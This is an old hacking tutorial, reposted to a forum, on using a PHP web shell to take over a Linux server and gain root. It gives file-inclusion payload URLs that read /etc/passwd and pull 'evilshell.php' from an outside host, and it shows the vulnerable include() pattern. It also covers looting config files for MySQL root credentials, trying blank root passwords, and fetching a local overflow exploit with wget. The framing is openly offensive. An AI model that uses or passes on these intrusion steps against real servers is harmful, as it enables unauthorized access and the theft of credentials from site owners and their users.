Art of hacking 4 - spyd3rm4n's guide to hacking

Well this is the part 4 of the art of hacking series I've been posting here. Since the original site dmz has been down since long time, I have been uploading these tutorials. This part of tutorial explains what a PHP shell is and how you can use the php shell to gain the root access in the servers.

[0x01] PHP_Shell - what it is
[0x02] Root
[0x03] Obtaining_Root

Sub PHP_Shell{
What is a PHP Shell you may ask yourself. A PHP Shell is exactly what it says. It is a shell written in PHP that is used to emulate console and contains automated scripts to help you do whatever it is that you need. My favorite shell is the x2300, although it is hard to come by.
}

Sub Root{
root is the user on a nix based OS that has all privileges to do anything wished. Obtaining it through a PHP Shell can be a long and frustrating process.

The first thing that needs to be done, is the get a PHP Shell on the system. This can be done through and RFI (Remote File Inclusion) vulnerability.

Example: http://site.com/index.php?page=about.php
You can use this as an LFI (Local File Inclusion) and RFI.

http://site.com/index.php?page=../../../../../etc/passwd

This will show the passwd on the linux box. Giving you directory listing for every user on it.

http://site.com/index.php?page=http://anothersite.com/evilshell.php

This will include the evilshell.php located at anothersite.com

Looking for a vulnerability in a script:
The easiest way to find an LFI/RFI is to look for something like

include();
@include();

as long as the include() function includes user input, like

$page = $_GET['page'];

This is the GET method, $page is assigned to the value of page. http://site.com/index.php?page=
@include($page);

^ Jackpot.

Once the shell is on the site, you can look around for anything useful on the box that can be used to obtain root. I suggest looking for config files that contain mysql information. If you find the resellers config or global.inc file and it contains root mysql information, you can use this to look through the mysql database for any software that requires root input.
Example:

Lets say for the sake of this tutorial, I have software on my computer that requires root to run. So I have to give it the root user and password. This is stored in the mysql database. Once someone is in the mysql database and finds the information for that software, they will see the root user and pw for the box.

That is one of the most common ways of obtaining root through research. One thing to note, is that hosting companies often forget to assign a password for root mysql. So if you have a PHP Shell, try connecting to the SQL Database using the user root and no password. Funny how there is no fix for human error.

Another way to obtain root is through an overflow. You can get these root shells, usually scripts that will exploit and overflow a process running as root to spill out/change/grant a user root privileges.
Example:

There is a process running as root, this process is a result of the program called shell_av (Shell AntiVirus)

Now, lets say I know a local root overflow exploit for shell_av. I will create a script using shell code (which will be covered in the mini-book stack/buffer overflows) in C that will overflow this app and use the PHP Shell to wget it from a remote server so I don't have to type it all up in that little cmd box.

Once executed the cmd box will output the information for that overflow. Let's say that the overflow only granted the user that the shell is on root priviledges.
(The PHP Shell is located on in the directory of /home/bob/public_html/ - bob is the user)
This would grant bob root privileges. Now all you have to do is get bob's password and login SSH, and you have complete control of the box.
}

- Credits : Kr3w of TheDefaced.